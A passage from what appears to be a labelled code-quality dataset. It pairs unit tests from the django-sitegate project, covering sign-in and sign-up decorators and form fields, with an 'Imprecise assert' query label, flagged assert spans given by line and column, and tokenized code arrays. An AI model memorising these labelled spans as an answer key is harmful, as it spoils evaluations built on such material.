"))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "9", "(", "3", ",", "Tru", "e", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "9", "(", "3", ",", " ", "Tru", "e", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "CENTER", "ED", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "INS", "IDE", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "OUT", "SIDE", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "CENTER", "ED", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "INS", "IDE", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "50", "(", "GC", "hart", ".", "Tic", "k", "Locat", "ion", ".", "OUT", "SIDE", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "1", "(", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "1", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "2", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "3", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "4", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "5", "5", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "5", "5a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "56", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "Test", "GC", "hart", "5", "7", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "5", "7a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "5", "8", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "Test", "GC", "hart", "00", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Roo", "t", "Panel_", "(_", "\"", "load", "ing", "Messag", "e", "\"_", ")_", "._", "set", "Visible_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
idlesign/django-sitegate/sitegate/tests.py
[ { "content": " def test_signin(self):\n # simple decoration\n response = signin_view(lambda req: req)(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signin_forms' in response.sitegate)\n self.assertFalse('signup_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signin_view(lambda req, a1, a2='b': (req, a1, a2))(self.req_factory.get('/signin/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertFalse('signup_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking\n signin_view1 = signin_view(flow=ClassicSignin)\n signin_view2 = signin_view(flow=ModernSignin)\n response = signin_view1(signin_view2(lambda req: req))(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signin_forms' in response.sitegate)\n self.assertFalse('signup_forms' in response.sitegate)\n self.assertTrue(len(response.sitegate['signin_forms']) == 2)\n dict_keys = list(response.sitegate['signin_forms'].keys())\n self.assertIsInstance(response.sitegate['signin_forms'][dict_keys[0]], ClassicSignin.form)\n self.assertIsInstance(response.sitegate['signin_forms'][dict_keys[1]], ModernSignin.form)\n\n # stacking with args\n signin_view1 = signin_view(flow=ClassicSignin, widget_attrs={'attr_name1': 'attr_value1'})\n signin_view2 = signin_view(flow=ModernSignin, widget_attrs={'attr_name2': 'attr_value2'})\n response = signin_view1(signin_view2(lambda req: req))(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n field = response.sitegate['signin_forms']['ClassicSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response.sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signin", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 199 }, { "content": " def test_signup(self):\n # simple decoration\n response = signup_view(lambda req: req)(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertFalse('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signup_view(lambda req, a1, a2='b': (req, a1, a2))(self.req_factory.get('/signup/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertFalse('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking\n signup_view1 = signup_view(flow=ClassicSignup)\n signup_view2 = signup_view(flow=ModernSignup)\n response = signup_view1(signup_view2(lambda req: req))(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertFalse('signin_forms' in response.sitegate)\n self.assertTrue(len(response.sitegate['signup_forms']) == 2)\n dict_keys = list(response.sitegate['signup_forms'].keys())\n self.assertIsInstance(response.sitegate['signup_forms'][dict_keys[0]], ClassicSignup.form)\n self.assertIsInstance(response.sitegate['signup_forms'][dict_keys[1]], ModernSignup.form)\n\n # stacking with args\n signup_view1 = signup_view(flow=ClassicSignup, widget_attrs={'attr_name1': 'attr_value1'})\n signup_view2 = signup_view(flow=ModernSignup, widget_attrs={'attr_name2': 'attr_value2'})\n response = signup_view1(signup_view2(lambda req: req))(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n field = response.sitegate['signup_forms']['ClassicSignup'].fields.get('password1')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response.sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signup", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 236 }, { "content": " def test_signinup(self):\n # simple decoration\n response = signin_view(signup_view(lambda req: req))(self.req_factory.get('/entrance/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertTrue('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signin_view(signup_view(lambda req, a1, a2='b': (req, a1, a2)))(self.req_factory.get('/entrance/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking with args\n view_signin = signin_view(widget_attrs={'attr_name1': 'attr_value1'})\n view_signup = signup_view(widget_attrs={'attr_name2': 'attr_value2'})\n response = view_signin(view_signup(lambda req, a1, a2='b': (req, a1, a2)))(self.req_factory.get('/entrance/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n field = response[0].sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response[0].sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signinup", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 273 }, { "content": " def test_sitegate(self):\n # logged in\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(True)\n response = sitegate_view(lambda req: req)(request)\n self.assertIsInstance(response, HttpResponseRedirect)\n\n # not logged in\n\n # simple decoration\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n response = sitegate_view(lambda req: req)(request)\n self.assertNotIsInstance(response, HttpResponseRedirect)\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertTrue('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n response = sitegate_view(lambda req, a1, a2='b': (req, a1, a2))(request, 10, a2=20)\n self.assertNotIsInstance(response, HttpResponseRedirect)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # parametrized decoration\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n view_sitegate = sitegate_view(widget_attrs={'attr_name1': 'attr_value1'})\n response = view_sitegate(lambda req, a1, a2='b': (req, a1, a2))(request, 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n field = response[0].sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response[0].sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name1', field.widget.attrs)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)", "metadata": "root.DecoratorsTest.test_sitegate", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 324 }, { "content": " def test_classic_signup_attrs(self):\n f = ClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_classic_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 402 }, { "content": " def test_simple_classic_signup_attrs(self):\n f = SimpleClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_simple_classic_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 432 }, { "content": " def test_classic_with_email_signup_attrs(self):\n f = ClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 440 }, { "content": " def test_simple_classic_with_email_signup_attrs(self):\n f = SimpleClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_simple_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 449 }, { "content": " def test_classic_signup_attrs(self):\n f = ClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_classic_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 462 }, { "content": " def test_simple_classic_signup_attrs(self):\n f = SimpleClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_simple_classic_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 492 }, { "content": " def test_classic_with_email_signup_attrs(self):\n f = ClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 501 }, { "content": " def test_simple_classic_with_email_signup_attrs(self):\n f = SimpleClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_simple_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 510 }, { "content": " def test_modern_signup_attrs(self):\n f = ModernSignupForm()\n fields = set(f.fields.keys())\n\n self.assertFalse('username' in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ModernSignupFormsTest.test_modern_signup_attrs", "header": "['class', 'ModernSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 523 }, { "content": " def test_invitation_signup_attrs(self):\n f = InvitationSignupForm()\n fields = set(f.fields.keys())\n\n self.assertFalse('username' in fields)\n self.assertTrue('code' in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ModernSignupFormsTest.test_invitation_signup_attrs", "header": "['class', 'ModernSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 532 }, { "content": " def test_classic_signin_attrs(self):\n f = ClassicSigninForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' in fields)\n self.assertTrue('password' in fields)", "metadata": "root.ClassicSigninFormsTest.test_classic_signin_attrs", "header": "['class', 'ClassicSigninFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 554 }, { "content": " def test_modern_signin_attrs(self):\n f = ModernSigninForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' in fields)\n self.assertTrue('password' in fields)", "metadata": "root.ModernSigninFormsTest.test_modern_signin_attrs", "header": "['class', 'ModernSigninFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 564 }, { "content": " def test_get_sitegate_urls(self):\n urls = get_sitegate_urls()\n self.assertIsInstance(urls, list)\n self.assertTrue(len(urls) == 1)\n self.assertIsInstance(urls[0], RegexURLPattern)", "metadata": "root.ToolboxTest.test_get_sitegate_urls", "header": "['class', 'ToolboxTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 632 } ]
[ { "span": "self.assertTrue('signin_forms' in response.sitegate)", "start_line": 203, "start_column": 8, "end_line": 203, "end_column": 60 }, { "span": "self.assertFalse('signup_forms' in response.sitegate)", "start_line": 204, "start_column": 8, "end_line": 204, "end_column": 61 }, { "span": "self.assertTrue('signin_forms' in response[0].sitegate)", "start_line": 209, "start_column": 8, "end_line": 209, "end_column": 63 }, { "span": "self.assertFalse('signup_forms' in response[0].sitegate)", "start_line": 210, "start_column": 8, "end_line": 210, "end_column": 64 }, { "span": "self.assertTrue('signin_forms' in response.sitegate)", "start_line": 219, "start_column": 8, "end_line": 219, "end_column": 60 }, { "span": "self.assertFalse('signup_forms' in response.sitegate)", "start_line": 220, "start_column": 8, "end_line": 220, "end_column": 61 }, { "span": "self.assertTrue(len(response.sitegate['signin_forms']) == 2)", "start_line": 221, "start_column": 8, "end_line": 221, "end_column": 68 }, { "span": "self.assertTrue('signup_forms' in response.sitegate)", "start_line": 240, "start_column": 8, "end_line": 240, "end_column": 60 }, { "span": "self.assertFalse('signin_forms' in response.sitegate)", "start_line": 241, "start_column": 8, "end_line": 241, "end_column": 61 }, { "span": "self.assertTrue('signup_forms' in response[0].sitegate)", "start_line": 246, "start_column": 8, "end_line": 246, "end_column": 63 }, { "span": "self.assertFalse('signin_forms' in response[0].sitegate)", "start_line": 247, "start_column": 8, "end_line": 247, "end_column": 64 }, { "span": "self.assertTrue('signup_forms' in response.sitegate)", "start_line": 256, "start_column": 8, "end_line": 256, "end_column": 60 }, { "span": "self.assertFalse('signin_forms' in response.sitegate)", "start_line": 257, "start_column": 8, "end_line": 257, "end_column": 61 }, { "span": "self.assertTrue(len(response.sitegate['signup_forms']) == 2)", "start_line": 258, "start_column": 8, "end_line": 258, "end_column": 68 }, { "span": "self.assertTrue('signup_forms' in response.sitegate)", "start_line": 277, "start_column": 8, "end_line": 277, "end_column": 60 }, { "span": "self.assertTrue('signin_forms' in response.sitegate)", "start_line": 278, "start_column": 8, "end_line": 278, "end_column": 60 }, { "span": "self.assertTrue('signup_forms' in response[0].sitegate)", "start_line": 283, "start_column": 8, "end_line": 283, "end_column": 63 }, { "span": "self.assertTrue('signin_forms' in response[0].sitegate)", "start_line": 284, "start_column": 8, "end_line": 284, "end_column": 63 }, { "span": "self.assertTrue('signup_forms' in response[0].sitegate)", "start_line": 293, "start_column": 8, "end_line": 293, "end_column": 63 }, { "span": "self.assertTrue('signin_forms' in response[0].sitegate)", "start_line": 294, "start_column": 8, "end_line": 294, "end_column": 63 }, { "span": "self.assertTrue('signup_forms' in response.sitegate)", "start_line": 339, "start_column": 8, "end_line": 339, "end_column": 60 }, { "span": "self.assertTrue('signin_forms' in response.sitegate)", "start_line": 340, "start_column": 8, "end_line": 340, "end_column": 60 }, { "span": "self.assertTrue('signup_forms' in response[0].sitegate)", "start_line": 348, "start_column": 8, "end_line": 348, "end_column": 63 }, { "span": "self.assertTrue('signin_forms' in response[0].sitegate)", "start_line": 349, "start_column": 8, "end_line": 349, "end_column": 63 }, { "span": "self.assertTrue(get_username_field() in fields)", "start_line": 406, "start_column": 8, "end_line": 406, "end_column": 55 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 407, "start_column": 8, "end_line": 407, "end_column": 46 }, { "span": "self.assertTrue('password2' in fields)", "start_line": 408, "start_column": 8, "end_line": 408, "end_column": 46 }, { "span": "self.assertTrue(get_username_field() in fields)", "start_line": 436, "start_column": 8, "end_line": 436, "end_column": 55 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 437, "start_column": 8, "end_line": 437, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 438, "start_column": 8, "end_line": 438, "end_column": 47 }, { "span": "self.assertTrue(get_username_field() in fields)", "start_line": 444, "start_column": 8, "end_line": 444, "end_column": 55 }, { "span": "self.assertTrue('email' in fields)", "start_line": 445, "start_column": 8, "end_line": 445, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 446, "start_column": 8, "end_line": 446, "end_column": 46 }, { "span": "self.assertTrue('password2' in fields)", "start_line": 447, "start_column": 8, "end_line": 447, "end_column": 46 }, { "span": "self.assertTrue(get_username_field() in fields)", "start_line": 453, "start_column": 8, "end_line": 453, "end_column": 55 }, { "span": "self.assertTrue('email' in fields)", "start_line": 454, "start_column": 8, "end_line": 454, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 455, "start_column": 8, "end_line": 455, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 456, "start_column": 8, "end_line": 456, "end_column": 47 }, { "span": "self.assertTrue('email' in fields)", "start_line": 466, "start_column": 8, "end_line": 466, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 467, "start_column": 8, "end_line": 467, "end_column": 46 }, { "span": "self.assertTrue('password2' in fields)", "start_line": 468, "start_column": 8, "end_line": 468, "end_column": 46 }, { "span": "self.assertTrue('username' not in fields)", "start_line": 496, "start_column": 8, "end_line": 496, "end_column": 49 }, { "span": "self.assertTrue('email' in fields)", "start_line": 497, "start_column": 8, "end_line": 497, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 498, "start_column": 8, "end_line": 498, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 499, "start_column": 8, "end_line": 499, "end_column": 47 }, { "span": "self.assertTrue('username' not in fields)", "start_line": 505, "start_column": 8, "end_line": 505, "end_column": 49 }, { "span": "self.assertTrue('email' in fields)", "start_line": 506, "start_column": 8, "end_line": 506, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 507, "start_column": 8, "end_line": 507, "end_column": 46 }, { "span": "self.assertTrue('password2' in fields)", "start_line": 508, "start_column": 8, "end_line": 508, "end_column": 46 }, { "span": "self.assertTrue('username' not in fields)", "start_line": 514, "start_column": 8, "end_line": 514, "end_column": 49 }, { "span": "self.assertTrue('email' in fields)", "start_line": 515, "start_column": 8, "end_line": 515, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 516, "start_column": 8, "end_line": 516, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 517, "start_column": 8, "end_line": 517, "end_column": 47 }, { "span": "self.assertFalse('username' in fields)", "start_line": 527, "start_column": 8, "end_line": 527, "end_column": 46 }, { "span": "self.assertTrue('email' in fields)", "start_line": 528, "start_column": 8, "end_line": 528, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 529, "start_column": 8, "end_line": 529, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 530, "start_column": 8, "end_line": 530, "end_column": 47 }, { "span": "self.assertFalse('username' in fields)", "start_line": 536, "start_column": 8, "end_line": 536, "end_column": 46 }, { "span": "self.assertTrue('code' in fields)", "start_line": 537, "start_column": 8, "end_line": 537, "end_column": 41 }, { "span": "self.assertTrue('email' in fields)", "start_line": 538, "start_column": 8, "end_line": 538, "end_column": 42 }, { "span": "self.assertTrue('password1' in fields)", "start_line": 539, "start_column": 8, "end_line": 539, "end_column": 46 }, { "span": "self.assertFalse('password2' in fields)", "start_line": 540, "start_column": 8, "end_line": 540, "end_column": 47 }, { "span": "self.assertTrue('username' in fields)", "start_line": 558, "start_column": 8, "end_line": 558, "end_column": 45 }, { "span": "self.assertTrue('password' in fields)", "start_line": 559, "start_column": 8, "end_line": 559, "end_column": 45 }, { "span": "self.assertTrue('username' in fields)", "start_line": 568, "start_column": 8, "end_line": 568, "end_column": 45 }, { "span": "self.assertTrue('password' in fields)", "start_line": 569, "start_column": 8, "end_line": 569, "end_column": 45 }, { "span": "self.assertTrue(len(urls) == 1)", "start_line": 635, "start_column": 8, "end_line": 635, "end_column": 39 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Decorat", "ors", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "signin", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "signin", "\\u", "view_", "(_", "lambda_", "req_", ":_", "req_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signin", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion", " ", "+", " ", "view", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "signin", "\\u", "view_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signin", "/'_", ")_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", 